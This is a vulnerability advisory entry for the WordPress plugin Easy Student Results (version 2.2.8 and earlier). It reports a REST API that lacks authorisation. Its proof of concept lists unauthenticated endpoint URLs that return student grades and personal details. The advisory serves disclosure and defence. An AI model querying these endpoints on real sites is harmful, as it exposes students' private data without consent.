WordPress Plugin Vulnerabilities
Easy Student Results <= 2.2.8 - Sensitive Information Disclosure via REST API
Description
The plugin lacks authorisation in its REST API, allowing unauthenticated users to retrieve information related to the courses, exams, departments as well as student's grades and PII such as email address, physical address, phone number etc
Proof of Concept
When the "Enable API for Mobile Apps" settings (/wp-admin/admin.php?page=rps_result_settings) is enabled https://example.com/wp-json/rps_result/v1/route/show_result?exam_record_id=2&student_id=32 https://example.com/wp-json/rps_result/v1/route/student_fields https://example.com/wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1&semester_id=1 https://example.com/wp-json/rps_result/v1/route/result_fields https://example.com/wp-json/rps_result/v1/route/list_results?exam_id=1&department_id=1&batch_id=1 https://example.com/wp-json/rps_result/v1/route/schema
Affects Plugins
References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-07-19 (about 1 years ago)
Added
2022-07-19 (about 1 years ago)
Last Updated
2023-04-19 (about 7 months ago)